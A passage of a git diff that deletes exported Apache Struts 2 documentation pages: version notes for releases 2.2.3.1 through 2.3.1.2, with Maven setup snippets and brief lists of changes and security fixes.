-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27826153">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.2.3.1 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-223.html">Version Notes 2.2.3</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.2.3.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.2.3.1/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.2.3.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>A security vulnerability has been fixed: User input was evaluated as an OGNL expression when there's a conversion error.</li></ul>
-
-
-<h3 id="VersionNotes2.2.3.1-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12317860">JIRA Release Notes 2.2.3.1 </a></li></ul>
-
-
-<h3 id="VersionNotes2.2.3.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12317080">Struts 2.2.3.1 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12315426">Struts 2.3 TODO </a></li></ul>
-
-
-<h3 id="VersionNotes2.2.3.1-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-231.html b/content/docs/version-notes-231.html
deleted file mode 100644
index 8c941b3..0000000
--- a/content/docs/version-notes-231.html
+++ /dev/null
@@ -1,217 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-231.html">Version Notes 2.3.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27822739">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27822739">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27822739">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27822739">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27822739">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27822739">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.1 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-223.html">Version Notes 2.2.3</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.1/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<ul><li>The DTD has been updated to provide whitelisting of functions that can be called via Dynamic Method Invocation, via the &lt;allowed-methods&gt; tag inside &lt;action&gt;.  (The method specified in the &lt;action&gt; tag is automatically whitelisted.)  For example, the following XML allows methods foo, bar, and baz to be called via DMI:</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-  &lt;action name="..." method="foo"&gt;
-    &lt;result ... /&gt;
-    &lt;allowed-methods&gt;bar,baz&lt;/allowed-methods&gt;
-  &lt;/action&gt;
-</pre>
-</div></div>
-
-<ul><li>the Spring Dependencies were upgraded from version 2.5.6 to version 3.0.5.</li><li>a new plugin to support <a shape="rect" class="external-link" href="http://jcp.org/en/jsr/summary?id=299" rel="nofollow">CDI</a> was added, to use CDI support inside your application add struts2-cdi-plugin.jar to your application  WEB-INF/lib folder</li></ul>
-
-
-<h2 id="VersionNotes2.3.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>New Portal 2 Plugin replaced the old one Portal Plugin</li><li>OGNL was upgraded to version 3.0.2 to solve problem with running Struts 2 on JDK 5</li></ul>
-
-
-<h3 id="VersionNotes2.3.1-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12315916">JIRA Release Notes 2.3.1 </a></li></ul>
-
-
-<h3 id="VersionNotes2.3.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12318398">Struts 2.3.1 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12318399">Struts 2.3.x TODO </a></li></ul>
-
-
-<h3 id="VersionNotes2.3.1-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2311.html b/content/docs/version-notes-2311.html
deleted file mode 100644
index a321bca..0000000
--- a/content/docs/version-notes-2311.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.1.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2311.html">Version Notes 2.3.1.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.1.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27833981">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27833981">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27833981">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27833981">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27833981">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27833981">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.1.1 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-231.html">Version Notes 2.3.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.1.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.1.1/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.1.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>Strict DMI mode was improved and now it should work correctly, you can find more details <a shape="rect" class="external-link" href="http://www.brucephillips.name/blog/index.cfm/2011/2/19/Struts-2-Security-Vulnerability--Dynamic-Method-Invocation" rel="nofollow">here </a></li><li>Default acceptedParamNames were updated to more restrictive values to solve security vulnerabilities in ParameterInterceptor - support for param names with withe spaces was dropped! Also a new configurat [...]
-
-
-<h3 id="VersionNotes2.3.1.1-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12319277">JIRA Release Notes 2.3.1.1 </a></li></ul>
-
-
-<h3 id="VersionNotes2.3.1.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12318481">Struts 2.3.1.1 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12318399">Struts 2.3.x TODO </a></li></ul>
-
-
-<h3 id="VersionNotes2.3.1.1-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2312.html b/content/docs/version-notes-2312.html
deleted file mode 100644
index 28cff3e..0000000
--- a/content/docs/version-notes-2312.html
+++ /dev/null
@@ -1,203 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.1.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2312.html">Version Notes 2.3.1.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.1.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27836158">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27836158">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
